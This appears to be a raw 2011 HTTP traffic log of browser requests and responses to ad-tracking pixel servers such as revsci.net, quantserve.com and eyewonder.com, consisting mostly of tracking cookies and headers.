rsi_segs_1000000=pUP15EOBMAIQf7vIQCJHhljPSEXWkLVrUBheImkRhPjVgC6MFxwKGkF6NHVB/2BO08M9QmiQSflMS0CoObMWApxrXoQc0Ll6OGkZNKFAsp2ifHChYPLAFYGM93TVLM6e+l04mihRIghaEp/YJjXEgGdsR6OjyXYIE4ccAUGnkj4VlvOr5Cw1oYSan8w0WfgHlu+8NIqCzGcqyYa9BF9YultYm/4mL4iRx/lFdc+aOmY1SRcLv60a9tJODAd0nF/i9101BB6NatVxoe1DjYfTUdd9N17JIivfPw22EIbQcVnPegF1SCok1OvyfnDR5SF1kLQ+okL5SpO7PmoTDHrWOqcBq6tcqCgkXnct+60mbddfLnCTenuSt0zS65iKrXurrLCAy0ZDKA896UwvNGoiBy0Ua8lt4RsDVNLyYBpuVD/LwytDRDz4V8uvQTl6zXeuUmyyeWpazfizP0TYzGh3YoV0j4MIz5lKfDFE4bHm5LafdV83GuKIAxww/yGxQiq11e0+Bq/l; NETSEGS_H10972=bff01c00ddc153c5&H10972&0&4de961a8&0&&4dc36aa3&271d956a153787d6fee9112e9c6a9326; rtc_2MML=MLsXtzE1ZxpnJ5GrHvmWF/CWgLZrYKUib5slCPedGNAwVTi74gkGr2Ipj4EWp+/DHqged2X1aG4UUDn9Sek+jWM8P1olTaq7ej6Dk/7O6T/gImgqfhS/fa8kwEqZhMLA7rr5dbctvj4KRqaT3jlzVpIPTLPOZlpRsFQnGcNcik0Vr/9ChiL9/dR+6TNbTGzp54iTMx9i7IA/M6syQEezQPwO4YUSLj2DbGhi/4Jolbl+6ZOTVx+W8cslzKfYsFHmuoyeGBwbsd1bTAxTphe1k40xYV92B45jmgrgB6/H89z6SRhp1GeG4kWKDw5CPfa7A/4WQDYPDQFTsZ2ttxQJ/rnIA9pRw4LfgHHRwLlNBUloulnJRNF8kdhJjEPkWfTqi1zPbesQx1fqJXeZJtyPKOqtZNI9V035IwXrvoyuFZQdQAXadNNCH9RWSxqd6nTdSu5kXKxz8xb0tYwx0LYb5txuGgmTHdyh5ie9d7thoIb/MJtZeGMLDzEOb5TkibpUjhNrG7OFF96RGpt6tIJUFbcNraCnAT46IQyNapge/OP42wmo1ckMPxlqP05nnC68WzHeGJh9k5C3WXvZpirNOd0DPxV/g/fG+5qiuL2keoExgq6g1lguUz59bg/95Hp9C9+xAs+noKPRebSc49l4l4C4tq2+eeO8HyiVB+lgSAXFESqLDcwX9oqqKLYjjqsBoHx8SrQgsDgIMV+i/N5Bdi0Ua4hBlSKh17HuEasBYtI+CzD01Uhdk/bZkXxOO/SdEn9af62gKRR4Ah33CN7MTu3l/iOkdKeYI3szmc9Yd9ozmo1pzFdrQQkKyZJeSXqZpO3p+s5n8djXqBRpmUB8YZR0VKraNlnG2tQkzx//zv339tnJCBbXR+pBEmq8L5la7a/4YaD4szeS8uTzJX0qOIEuU+AA0J3FaCkrKjdYFIAaylldJlPjIy/Q8MgnXvF7B6CosPAzzo/+2DM5jv2yh0LM3jnGkQO/A2SXqahqoAG37uql4CWsmFmZgE1furniCrruzAXaEy5s0AKznPjllNVwv1mofZOCc+h6kQCduxK+7RPxbgOHm4lLlkOV/cCKhs+1T6l+wECUFBllnwyRZ5h9E3S7JFv8gy00JNu++Qmff4WRDZCc439hxefv8hAm0PG+oWPh3uD9BFWY9mIYSZ9/3OkCQru9DqyUhOSSuBVAmpXh/c7tlYTxiToRXS8LcruHYtO+mKfZxxTs+llGpQ32PiOD6FseycwIpd2XeFPbLkYwnV45QMN+GQNS1DnslVWGvwSo+L7BVvVJjhq2qvVk0cVKwB43EcMRu9sBYvmdLvuZZUDzEVE54p2XApRprYWiMwkj6FIefpFbiHeNa6utEJv9elonE9IplVVQTbwaIxivxbxSWlJT4jFP84eoToKwJpylz5YY807t92pRWCsL0nbgNqb65Lf2Q5+0iFejG2kxa4Cu8dQrUJl27A+dH4x0UklDoA==

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: rtc_2MML=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rsi_segs_1000000=pUPFJEOheXIQVvUb5Bw3nLcSe/rWsx3DUgOajZMjUvBNkraeXO/p2pP6LNDeNFSZwK4/3mCVJfviaRS76OdgBdRLEO5ZoN0OAiVEuPKIPy7KVrvvoekFAdus9/RVdaNTr8DRZWq8v5lgFy81IhCEz3GO6SfeEvGPB/ePW28Rje+UaUKTzAr3aqJAP7vkZoWH+PGgzZ7+DLapvhC1VjPlIuK+MbylPCFjhhhHNirmG+ViZWCfBUFZgh51jkrN+lduMho5P/OQ5DN6QMBPOIfTUdfPAnHQEOxj62Zx5+tL9ciLqJ95kZmpzpw+s497N82TjVKL4xsXgmJPlK2b3ksV0A6vIUV15Mzo6cez9TOlt4e77ktoRZkzw4/k3KTKs/BGC3Kukzgrbhw3ckJ5/EJ1625ddtFcIBlnAS1v6sE/ucZ3wM7B8+MbCqQn6Nmy5mlI1/lVqRJybwsJMIhQysotG/XwWXx4Lmrrj/LlkFWCOuBr7cCrci3HZn5R9mp34YjB0TPr/dghLv44h5AjvA==; Domain=.revsci.net; Expires=Sat, 05-May-2012 22:35:37 GMT; Path=/
Set-Cookie: rtc_l12s=MLsXtzE1JhpnJ5HL3vzIqKPpyVrMNHGJvojUnXJXjAPTw+wWY7y45WrIsWOW0pLnHqged2X1aG4UUDn9Sek+jWM8P1olTSqSNdTxgq4nDCLC46xOmx6IxR0G+VNWGQbABRvHHzaaDDvP1ShHKDO+zvcRVLpuVzsu6kJRzFShOfPi4AZtXaq9wwNOY4bZJbpnQFEN2TQ7KRTJ8rBfM+g/kHYUL2Ae3wgujF11mbMMKQr89J+G+C/NiNon7QlzTW4lUrhT/X7stCdA9BMHH1OB6MF6HbWJ0cQ/0X2jT5wzlPvyjJSkUy36zEuwbe6aAJz48vioAYl7/RCc8hUm2CzJ74HAeaLJSxsFldBvKpKMSD4SvvbwRrNW97jjItImf/7r6+YNiPrIEahdhi8irCZzdYxsUhb6S2TvV9GnAQLVKE0b3HUva+XdBygoiSki7pU4xDIBmEPWSoq0KjkP9KA7LSna0eWtDw/RSSai0UKKqd0S9fhoVNvjUacZpD2D5le29IRTFAGcXd8G0ZDkDmuaoQbCCh71MD89MUyUx5FeHFOVPe6aSt8MI4EScP0nWyrHPghHPhppBbiTYOC1ht8uwbe2RddumDuzthrhuL2keoEygiyjtrguUx5lbg/95Hr5CN+XzqzjCG22CIaYIj1pHLeEkU/mQUSrL8mDB5n0OqlwMO4EF/zX4I6qKLZjjqsBoX78SrQgsDgLMt+h/t5BdC0Wa4hBjdkmG9BsnkNjuVOaRewamFoSlheDogIfDzIeET/8ep1AmSBCpjjvQHnOm/XdraatD89cjXmQxB0k03vOAWKL8pdJiGnYCWrQxdCk5b/NEC+imR9+1fiEPafYzCOFPbCRYsYlbzC1jdG9EFg6iOyrgrMYyT0+1bHZVSDVIxwDoTibsji3sVzNQzfkIJo1LEF1z7701aurKcGIIyYgVxrloABacahXq/Ckw8NcwvJGclRMzEmcIJ5KsxUFR4zynbONfhk//QMFIs0f948ePudxN1zPw6UVAdDYqpRYvHQo0EjST1TVhNaCBRjEbPPjwYbD1H8rGLmFC8+5rCsDt5DAFMr11/jsEWaaeh5jmD4IZLV7HnYac97sKKMm87usSK+qwCZvqO8FAq6SMLqOQp4pdu3qjzzZfxkmj1yYZK5rX3ueSZ5im7eKEAR2ivqUf14W3a+jPcNN7jn+lBDenCKYTsI2UHmKPjjYM9ItpZgr23PwZo0Qj+w6Qxr2+SLbNSRfEhyPDlStkVOaXRL82ELXFpkI292WNIWl/kw/UGrbcwSnHVycDL1LqO6SAxM1XA7+Bfm3qlit3MWvkBFO4YvTZ7jPKnzvQpsNRrtynBzQXJ3EULenVbdm1Z2XNYEQSpejpAgfvjN0W3SO9NW64LUXVscn4+mQHvT6iwuWe+bEsn4u2ZYI807tt2pRK+61OI952t5g+PbC01/Z3uVyvF8deFb9TNvHwOMA6AwViI10J+5DtA==; Domain=.revsci.net; Expires=Sat, 05-May-2012 22:35:37 GMT; Path=/
Set-Cookie: NETSEGS_K05539=bff01c00ddc153c5&K05539&0&4de961b9&1&10592&4dc358e3&271d956a153787d6fee9112e9c6a9326; Domain=.revsci.net; Expires=Fri, 03-Jun-2011 22:35:37 GMT; Path=/
X-Proc-ms: 3
P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA"
Server: RSI
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: image/gif
Content-Length: 43
Date: Fri, 06 May 2011 22:35:36 GMT

GIF89a.............!.......,...........D..;

GET /H07710/b3/0/3/noscript.gif?D=DM_EVT%3DCSM_Expedia_LP HTTP/1.1
Host: pix04.revsci.net
Proxy-Connection: keep-alive
Referer: http://fls.doubleclick.net/activityi;src=2588783;type=nausc547;cat=naush134;u=9b6b0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: NETID01=8e1e1163986432e20f9603df067356d2; NETSEGS_J05531=bff01c00ddc153c5&J05531&0&4de2d7db&0&&4dbcd64a&271d956a153787d6fee9112e9c6a9326; NETSEGS_G08769=bff01c00ddc153c5&G08769&0&4de391c0&0&&4dbe39cf&271d956a153787d6fee9112e9c6a9326; NETSEGS_E05516=bff01c00ddc153c5&E05516&0&4de3922b&0&&4dbcdaf4&271d956a153787d6fee9112e9c6a9326; rsiPus_cUAg="MLsXrtEupC5v4JDWbm5SF4iCa9rxq92nU/WOr6kAXZYdLpPAQvnyqW118N7oMEOiC2a+Qitt1jCSQnt7wOLuFf/9TQPsfq6IyG5KAtGyxR3fC69ZIS1PEfZ7+RJPbmgi5/Do4ttQz08XO1UZi7xW2INSPBRMu/rnPp04+54Ys4dei76PNAqSipahtYUfnrULkB+5OvuWzwKUC5dvku8yoxjK9eqMv+qsudi6yDI5p7sjklqfA/Df4499H+aU47uX/ZStvm7s0bSjla+AwzWAysWR5lO0C6CV3XcHBk4XAJoLy17PEAhkXQrA5UZbouz0UH099/lxSt54s7u/1vi/Ooc6ZsdHYnkAmIE7OjXRhH5swOnx+Qe7TQNTY5avAup317qWXxpxHGJHaYXIBQgZDvVvP1/FdYHpe4ELzEm01fLjZ3NRUu3RLcxJe/LWkVmHz79Zn9KKPtd8TZxCCYd1SF0BsJd/w4RxAXd8u6LUBqIMTYJLRCFBZYAqfyg3pMk+tHsbPBAY+t4e0y5XfrgZeOS5LS0raNTRDvmgWWyrK/P3YcYuQx+1XxK1YTDnTUoMKeILlN/WyNsBDbEYkH1exWL76rR83Bi3+v2FqFxztf6n5/2gdRHjcEt9bVnJ4z3dKF3kglsKfCM6oHY8rFN7qcjUzF9dx5DdQ3yk9RA="; rsi_us_1000000="pUMdIz9HMAYU1O2uQ7bkS/GtHFajpUjRHJppcTQ/E+fDv3TBS3u3eKtw/qV68iFxwFHQSUXJh/TEDlqK5ymryWN1lLpjgHRFDSYttD59YZFrXOXgP3z1GpnIeFgtFDR1F1h1DvPJ6jGxiMDbAnxQhvYqAwMe3iYLqU5GS2b8LfrTbx7uRJOZcXZTF1nqAhc9j1XANGppgAkqLrW5J/DkaoiGFOnArblFlMxnIUs81A34N/6VKULJ5NXcgY4g9jLOtCz0A2zRfBV0tB6nig79jyxsPK/BtufPnOuytnDMGwwiEdVEfx6xS+gdhVS/YoP8gws4gSC0AJdMoSjsujh74M9+Fuy742S9LEO0odVcgP8nwKkbsPsv3MIMTgRwUByQS0+3PTu18ZNX15PFr3nkMs5yPDt2381kVtM3tUsb7UTaDxWlFawllYsd+K30dHBKmeOvEyOfWttKqC8T1WwfifCTg5OqGJEWYbTZJKrVqzIxoqCSdeInRhO8LVs1qCHv/xxr5klEDkmKfHvF3yACOKWqmWc99TGbMUwf1jXvnMacDDEIRle75AsgC1t0n9TOjQlEvQUGZUlrBNuwrAyA8WHgji5OTrwi6ZAOSH/kv/L1brD7LtY7KfEaHdjvNdTzvoBUQMG4UTO6tV8OPsAUbmXYKs6T9V0kUdHDxS5IPWKMbw64OOcJPQgyRxyqJsiuBp3dvkWmsDV+KduhariE+vHGWgkxjV3chDQ3HlznmZrWkDHUMxVsE5mlY8EEUQt0ADLtrW3uR1r4wH3z3ZIdpJAGNmiIVyRr2c2b7jtBhTZxAAlNf7l7f35RlM2r3iTLGaF16IS79K9XrMEkuBHsy/k9wS+yaRUPCDErkqNr9YH2bA5/m2lDsmX2vxXhzSVPIsZH46KEZTqbjaFkaMVUv/ITp08VtIAQ1Yvu8ZknO30xfvR4vAy1AWEvvRf2fTQTa86Cxadw7P5qlBPGbbc96CWkKYIaCHYlvv56SO55p0Bo3OSWyjxverGSQYL67FQcst0Y+Jf/kIY+hq/65Cw5pVhi+rOWA5T/otP69RNqpLBD3wut5wpUIOU3A3cz+Fww/cmAfldRXnDpjDHyOUTv16cufUECTFP4HtE7b0vSWonFxeUXUs0PotTR+7l6VjT1pd6km8G3O6Jy+CinadIyS1ZkYM7x6spOGE5UiyQvx8Zs2WjO/p+duPiDfcEZGtR+HUDufru+EUMxg4w6AcWPnyFQbFw5FZSvULDb31fy7NREGAnb8nazQEJ7uSv7XT8wDJIORNgj0zbeAPjKWAlyPP3oRqS3CgRk7KsmlGuzBtB/H49kpYMT"; NETSEGS_G07608=bff01c00ddc153c5&G07608&0&4de3df00&0&&4dbe409f&271d956a153787d6fee9112e9c6a9326; NETSEGS_B08725=bff01c00ddc153c5&B08725&0&4de3dfb9&0&&4dbd04bb&271d956a153787d6fee9112e9c6a9326; NETSEGS_F07607=bff01c00ddc153c5&F07607&0&4de3dffd&6&10124,10098,10078,10053,10100,10143&4dbe0e23&271d956a153787d6fee9112e9c6a9326; NETSEGS_K08784=bff01c00ddc153c5&K08784&0&4de3fb79&0&&4dbe5453&271d956a153787d6fee9112e9c6a9326; NETSEGS_K05540=bff01c00ddc153c5&K05540&0&4de595d8&10&10572,10573,10342,10343,10391,10395,10432,10537,10538,10166&4dbfac5c&271d956a153787d6fee9112e9c6a9326; NETSEGS_H07710=bff01c00ddc153c5&H07710&0&4de96140&0&&4dc3b759&271d956a153787d6fee9112e9c6a9326; udm_0=MLvv9S8pLipr557J8SLcZtVsmYkpAEXfo4IXeAwquSQJS8LV1VT8e1Zf6ZL0ipL7+Kv8z8r9D7fsUFw2wl//IozSp/8YSn4NoHt7l4lq67B2aoTPJY8n/+xt25rkTM9DypP80PyOiYjfBswa/pIttQtABtvQCQc7lE2X5pTLFZly4Ho5X9JogRIv1r4DXxDUgTm31I6TxvuOcKmC/jYW5QMM3ruvTFdWWnnYKoLzU3RqHt1B+4whuE8KiYvSu8fekjRlh6End7IYoakFzgGNwXmFrORt0i1PnlcgwYHAVmdPZXPwfj5PC8fpo6ePf9KPHjtwKnWToMgc1VOatjJzghlFb3uJy+CLp/aBgvIyCGSTh51tY1Rvo4CkU9g/q/BgAxiXtL0sZoKDGnOR57czbWPW2snLVyHjK8qHn9sPGC4471fRIsWCpDXisem0f73E/ZYqkXVnZ4eygMLCHxTcBqIFjqQ0lsGEWtcVVk6WNz4l/Mewn91yb5z3TrGC94Ds0PI7lNEQ/zX+w65QliR9XUWQCR8ZJ0KoPYLJ9vKECY7qypI6JWsG/I/UnSODO2U2xhEoKpLlUINw4H3LIXL7g6gXRfai+Kt4E8gxorg1GKtpOngk4XZcT/94VjxqfHAdrOWtgThQIScl4PM9S4OeVp/AqIwVnD6+9/f77+K5aAauldE+R8qVL3mLN9jE87ZIwkWFl/denYCiK7nCJMMh1mWgtylCdkQLhvem5lL4df6OLCQDdqc2pKs/GXndlZ3eSYBP0hxu1BnT5DxxhgDCxWfzaPkEL58Qj+an9Z2aEd3idnm9kJYYUNJXJ7k1eWZB8XIaWBu+Og4PPbxN05GLrobjeAUr3OiEIqdhdgihq0P409GFU13gTUwlVlsfcu1/EYFLl0DER7k8wuY7faIt3xwOz+kc7xzOK8j7xSKy7XkKoBrIez+xK8rK00qfWaMiid3qLFhWrV7Z0YRVD5Tck40LehukJyUqz+nbRS+1uvi7svDbyhjMyqPcCeWYkKKYfULldUIH1bm8Pcz4+/tvOMe7uidWEFgdWhJeXvxXPLSHRZrYtO9j8Cnaw+R2Jc/MYSEsxo3ftJNSE1AGqd9z1IsgiJ9z5QHadxQxwsqAEgg6YrnJl7ALbsXv8caoArA7zp4fZgZtJCtxWzgclo/7zoUxCFNN/D3OGdAuyZRM4XrAxVRNGqCYmJ96huN4wxe1DAwK7D5sZ6NhmnsBvsQtpyPchz5bXwM1e1FZ05RNiXv3wbRaF4aMDm+j2wVHWV6B43cndwQ8fv7QzGvQMJpqcAx4rw==; NETSEGS_H10972=bff01c00ddc153c5&H10972&0&4de961a8&0&&4dc36aa3&271d956a153787d6fee9112e9c6a9326; rsi_segs_1000000=pUPFJEOheXIQVvUb5Bw3nLcSe/rWsx3DUgOajZMjUvBNkraeXO/p2pP6LNDeNFSZwK4/3mCVJfviaRT79+dgBdRLEO5ZoN0OAiVEuPKIPy7KVrvvoekFAdus9/RVdaNTr8DRZWq8v5lgFy81IhCEz3GO6SfeEvGPB/ePW28Rje+UaUKTzAr3aqJAP7vkZoWH+PGgzZ7+DLapvhC1VjPlIuK+MbylPCFjhhhHNirmG+ViZWCfBUFZgh51jhqhMcxwA/tm9SHxHcKF/BYQzcy8eKnGKEj3/Mh2NPlCCzwTqDEgda1QFj88u3iYrYO0eQBlIq7ADEX3BTzYP/cCovKnKloJZsmdbrpz9YbcuPcmVUr8F61tvh1YpLb/jdAvR9EW8XtYLwFVc10vhq+rF3CMgpL33pey1aj17claX2TjQCvjtLSS6T5pVMNGhxLcTLmSk5sRkhBJgO9umpeIc9z3LW0Qtg+TFeOqQBp7h3WC1bNyjT0tsIA6QUFJ37bFfcIDlNqUSGAqpmIoClwjtQ==; rtc_cer_=MLsXtzE1JhpnJ5HL3vzIqKPpyVrMNHGJvojUnXJXjAPTw+wWY7y45WrIsWOW0pLnHqged2X1aG4UUDn9Sek+jWM8P1olTSqSNdTxgq4nDCLC46xOmx6IxR0G+VNWGQbABRvHHzaaDDvP1ShHKDO+zvcRVLpuVzsu6kJRzFShOfPi4AZtXaq9wwNOY4bZJbpnQFEN2TQ7KRTJ8rBfM+g/kHYUL2Ae3wgujF11mbMMKQr89J+G+C/NiNon7QlzTW4lUrhT/X7stCdA9BMHH1OB6MF6HbWJ0cQ/0X2jT5wzlPvyjJSkUy36zEuwbe6aAJz48vioAYl7/RCc8hUm2CzJ74HAeaLJSxsFldBvKpKMSD4SvvbwRrNW97jjItImf/7r6+YNiPrIEahdhi8irCZzdYxsUhb6S2TvV9GnAQLVKE0b3HUva+XdBygoiSki7pU4xDIBmEPWSoq0KjkP9KA7LSna0eWtDw/RSSai0UKKqd0S9fhoVNvjUacZpD2D5le29IRTFAGcXd8G0ZDkDmuaoQbCCh71MD89MUyUx5FeHFOVPe6aSt8MI4EScP0nWyrHPghHPhppBbiTYOC1ht8uwbe2RddumDuzthrhuL2keoEygiyjtrguUx5lbg/95Hr5CN+XzqzjCG22CIaYIj1pHLeEkU/mQUSrL8mDB5n0OqlwMO4EF/zX4I6qKLZjjqsBoX78SrQgsDgLMt+h/t5BdC0Wa4hBjdkmG9BsnkNjuVOaRewamFoSlheDogIfDzIeET/8ep1AmSBCpjjvQHnOm/XdraatD89cjXmQxB0k03vOAWKL8pdJiGnYCWrQxdCk5b/NEC+imR9+1fiEPafYzCOFPbCRYsYlbzC1jdG9EFg6iOyrgrMYyT0+1bHZVSDVIxwDoTibsji3sVzNQzfkIJo1LEF1z7701aurKcGIIyYgVxrloABacahXq/Ckw8NcwvJGclRMzEmcIJ5KsxUFR4zynbONfhk//QMFIs0f948ePudxN1zPw6UVAdDYqpRYvHQo0EjST1TVhNaCBRjEbPPjwYbD1H8rGLmFC8+5rCsDt5DAFMr11/jsEWaaeh5jmD4IZLV7HnYac97sKKMm87usSK+qwCZvqO8FAq6SMLqOQp4pdu3qjzzZfxkmj1yYZK5rX3ueSZ5im7eKEAR2ivqUf14W3a+jPcNN7jn+lBDenCKYTsI2UHmKPjjYM9ItpZgr23PwZo0Qj+w6Qxr2+SLbNSRfEhyPDlStkVOaXRL82ELXFpkI292WNIWl/kw/UGrbcwSnHVycDL1LqO6SAxM1XA7+Bfm3qlit3MWvkBFO4YvTZ7jPKnzvQpsNRrtynBzQXJ3EULenVbdm1Z2XNYEQSpejpAgfvjN0W3SO9NW64LUXVscn4+mQHvT6iwuWe+bEsn4u2ZYI807tt2pRK+61OI952t5g+PbC01/Z3uVyvF8deFb9TNvHwOMA6AwViI10J+5DtA==; NETSEGS_K05539=bff01c00ddc153c5&K05539&0&4de961b8&1&10592&4dc358e3&271d956a153787d6fee9112e9c6a9326

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: rtc_cer_=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rsi_segs_1000000=pUP15EOheQIMp6b81kYFwpyB7qEdw7duSjkNTahpEt86nzU5ngw7cTFl7XVNzj9gP1CimrFlL4I0pMbllsZSDDizv11Yd4W9jzyyi4YqtNPFNTnpxPohouutFRxl+63IU2Hqy71trPYPR9Zo4aPnsPUWRQfFtTe3u8hMKPQ4Jc6t37oC7abCUfEsDg5F7Vmzy5irDuGQ/HuwzYAX78HWEoPSjOa1b2fEkOddDegqkcWnYPDxwWxphx/JehZ0Pioxa3Tx7VOsG0z0XYHfcpcQY5ye2VaBmYiGib4m85UczXLzccHnCcd3GYfIjua8XrcLzVYD0bPpBTwqmG2t4z6nZjn0yf5WR4e2ehEtJgTj7H985kmKXktoMBTBNbIskN0905VOTN5R4THwyBJ75VDIW9ZhWBIe3bYmqZkp24mQJLdrQYjFXEmhp8bzNA+b+ZmygmhrgBIY28g9wUTwOzbAhpq0/DiL6+jAJfwuBSa25nR/ak/++FGbESaBrwuiZ6yc7XTPOg==; Domain=.revsci.net; Expires=Sun, 06-May-2012 11:25:03 GMT; Path=/
Set-Cookie: NETSEGS_J05531=bff01c00ddc153c5&J05531&0&4dea160f&0&&4dc4b40e&271d956a153787d6fee9112e9c6a9326; Domain=.revsci.net; Expires=Sat, 04-Jun-2011 11:25:03 GMT; Path=/
Set-Cookie: rtc_ILqw=MLsXtzE1ZxpnJ5GrHvmWF/KWrPo31Agpb5slCPedGNAwVTi74gkGz+Ioj4EWp+/DHqged2X1aG4UUDn9Sek+jWM8PzolTSqS7RsUjlJjpOBJV4OQhg8QGT4qzmd32wLpi/idGBjih+awrUoKWaJ0K1B1Lomb0QkvRD26c4T9RWug2cO4FjzKAUk/0qUcoDTyVussQkDgGXRawu/DgYy8AQYowPQYovmciLKxDbxy63oR0tY9ui/NiCYn/cnzTG4mUrhXRSpVst8UQQg9UDg0tgeixM8uBejqsKnVnMHc9P9FTM7x/ggwgrQzGUjVo6BefFXgFaQMIq+AXZcR/zpqBBsaLusDfUMdaCoeRbtAAVUE2mPvTEZu/93IB+zgKsSSVbDbVKROB1dqyeuXojAa7aHmb6eu+5ZmujQ0hRHn3xtEalcmuMeIg3WRnEijYtYALyQhp73E6VAmilQtoTPiNnBpnYBOsQoPgwgptLgSn07OG+jh5lrW7RTgIKy6MXkkmkQhCWZXO5mYNKzaRPm5xTNWXdC2579VbAg5n3aFD4xHuBpLc1V4ElYMePMZdeAdlgtT0E6Bx+Nlet6sPh5w2kN9EGCAsoXpjef+SbJ6yj1XtqK/Ti4AW2t0WrjxZ+ZdhqeYyX2/xogbUb/mgHumrix8fG9wK1NOIuNbpYW55sLR+aqooY9f7I2Zb0/Y4FhxjSKXWeh8Wap9wk65kZYLh9kAq0vrvz5Qi9Q/ZEgsrAd+fuTGh+Rs0UYPCj/jKhV2sOX+dhl0rauwPPPDupVHqmA11y8OaIDcpDa40Ec+aQmnD1Fg27ft7srSL4do5uyHD6m6pzT5gt/lh1IEBu7j624K+xXaxFrGmoe9um+HHVewxEiqK1yBPju68o7c4sEE6uv1R7tqhcphC80uE6bJsLcvZGgmVNLQoRmZu+19T6S/xFwIm0CESwJweNmTY93I8wQWuSkfvZPw3CXLkLuMOgDCuaebRsxiEO6Ve6CksLxbQx9Y5wo/Y6ljLXS6W8TuXPg8Ajn5DU+Gi7u6DUWdBc3GEgPZ4yACxIzv1Ht2Sa9lB0jhrHo/7Az8dBX7jueoWaMLanZ233NKdMdp+CJe8rutyK9A4GiO/JUhmI9K6dIDyOLSc4CAUt8mYfqlj3OYYg5jHXX8T05v6nQrJDyj95cvG4Z4jCeVWfvZ67L9q8UCKCd8w/lnvZvmyZKJJHPmUsWaIp/R8cDID5iXMFfc7AjdPWSXxeIYwJg9CwbkPsH6kXw8r0Oqf+XkEFay3UyruKRLC/1ue7DUS06B9fKLJFdj1f9LkA1cTpsnTLax8shJVlffoxUmGUzIDD92ECFG+DvSakohNl+OCiyZe+o3RcTToFAQ07UwbeMPaqA3lvSgwmqNpCpclQXSYtB1HznkXyZTA53rtFtSU+gRUvyL7AbO5Nev/zyDtnqcR5ujoU8PPUHYK7LfI3Ikvsuf5Q1AXNSohTIoIOj09vCTD62+I86CBu6sVVo=; Domain=.revsci.net; Expires=Sun, 06-May-2012 11:25:03 GMT; Path=/
X-Proc-ms: 3
P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA"
Server: RSI
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: image/gif
Content-Length: 43
Date: Sat, 07 May 2011 11:25:03 GMT

GIF89a.............!.......,...........D..;

GET /pixel;r=571074855;fpan=0;fpa=P0-87169230-1303163602430;ns=0;url=http%3A%2F%2Fwww.linkedin.com%2Fpub%2Fsocial-follow%2F12%2F7a2%2F294;ref=;ce=1;je=1;sr=1920x1200x16;enc=n;ogl=;dst=1;et=1304721583769;tzo=300;a=p-b3sGjMtCFrexE HTTP/1.1
Host: pixel.quantserve.com
Proxy-Connection: keep-alive
Referer: http://www.linkedin.com/pub/social-follow/12/7a2/294
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mc=4dab4f93-dea96-f475f-85ff7; d=EDkAGO8kjVmtjIMIufKMgQGxAQHXBoGUAJrRo6lXiz0cxeKLPR1KLMUgsqNMEf4RDCAMHxCCDxAwQBhaKIEbtgqRksdDECEYILsywS0zgSggMC4a4w_xkgDokgDhAL4gtksQgtGLKxlKOLIw

HTTP/1.1 302 Found
Connection: close
Location: http://ad.yieldmanager.com/pixel?id=1099177&id=669181&id=734723&id=1157704&t=2
Set-Cookie: d=EM0AGO8kjVmtjIMIufKMgQG9AQHXBoGUAJrRo5lYEPGaOCbTzF4os9HUosxSCyo0wR_hEMIAwfEIIPEDBAGFoogRu2CpGSx0MQIRgguzLBLTOBKCAwLh6DS1OvFE0gDokgDhAL4gtksQgtGLKxlKOLIw; expires=Thu, 04-Aug-2011 17:39:45 GMT; path=/; domain=.quantserve.com
P3P: CP="NOI DSP COR NID CURa ADMa DEVa PSAo PSDo OUR SAMa IND COM NAV"
Cache-Control: private, no-cache, no-store, proxy-revalidate
Pragma: no-cache
Expires: Fri, 04 Aug 1978 12:00:00 GMT
Content-Length: 0
Date: Fri, 06 May 2011 17:39:45 GMT
Server: QS

GET /ewr?cid=20019204&versionid=19 HTTP/1.1
Host: pts.eyewonder.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: svid=46431933753; mojo3=10295:2568/17671:21707

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: ew=MDAwMTMwMzI5Njc5OTg5MjAwMTY0NTQwMjBfMTMwNDcxMDMxMzMxMl8xMDBfX18w; Domain=.eyewonder.com; Expires=Fri, 01-Jul-2011 19:31:53 GMT; Path=/
Set-Cookie: ewroi=""; Domain=.eyewonder.com; Expires=Fri, 01-Jul-2011 19:31:53 GMT; Path=/
P3P: CP="NON DSP COR NID CURa PSAa PSDa OUR STP UNI COM NAV STA LOC OTC", policyref="http://pts.eyewonder.com/static/ew/w3c/p3p_eyewonder.xml"
gmtdiid: 8a9f17852f9b8836012fa35146a40689
Content-Type: text/javascript;charset=US-ASCII
Date: Fri, 06 May 2011 19:31:52 GMT
Content-Length: 442
Connection: keep-alive

/*CreatedOn:1304710313312*/var ew20019204_dynamicAdModel={acid:0,adid:201806,eid:20019204,tid:0,emv:2,uid:'00013032967998920016454020',vid:'001303296799892000000034480857',trk:'',geo:{city:'Dallas',re
...[SNIP]...

